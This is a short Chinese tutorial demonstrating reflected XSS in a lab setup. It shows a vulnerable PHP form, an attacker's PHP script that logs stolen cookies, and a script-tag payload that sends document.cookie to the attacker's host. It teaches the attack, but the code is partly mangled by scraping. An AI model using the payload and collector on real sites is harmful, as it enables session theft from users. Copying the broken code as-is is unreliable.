XSS跨站脚本攻击过程最简单演示

大多数人对于XSS的原理有一个基本认识,这里不再重复,只给出一个能够演示其原理的完整样例。

1 角色分配

  • 有XXS漏洞的网站,IP地址172.16.35.135,PHP为开发语言
  • 受害访问者,IP地址172.16.35.220,浏览器为IE11
  • 黑客的数据接收网站,IP地址172.16.2.192,PHP为开发语言

2 源码实例

2.1 漏洞网站

存在漏洞的URL为:http://172.16.35.135/xss_demo.php

[php]  view plain  copy
 
  1. session_start();  
  2. ?>  
  3.   
  4.   
  5.       
  6.         XSS demo  
  7.       
  8.       
  9.     
      
  10.     "width:300px;" type="text" name="address1" value="address1"]; ?>" />  
  11.             "submit" value="Submit" />  
  12.           
  13.       
  14.   


该网页把用户通过GET发送过来的表单数据,未经处理直接写入返回的html流,这就是XSS漏洞所在。

2.2 黑客接收网站

接收网站的URL为http://172.16.2.192/xss_hacker.php

[php]  view plain  copy
 
  1. $victim = 'XXS得到的 cookie:'$_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie'];  
  2. file_put_contents('xss_victim.txt'$victim);  


把受害用户的IP地址和访问漏洞网站时使用的cookie,一起写入xss_victim.txt文件保存备用。

2.3 用户正常访问

XSS跨站脚本攻击过程最简单演示_第1张图片

用户使用IE11访问网站。现在网站一般都采用session+cookie来保存用户登录信息,网站通过验证cookie来确实是否是合法已登录用户,所以cookie是用户的敏感数据.

3 攻击过程

3.1 黑客准备攻击字符串,构造攻击URL

黑客可以通过各种扫描工具或者人工输入来找到有XSS漏洞的网站URL,然后精心构造攻击字符串。对于本例来说构造出来的字符串为:

[html]  view plain  copy
 
  1. "/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);script>

你可能感兴趣的:(安全处理)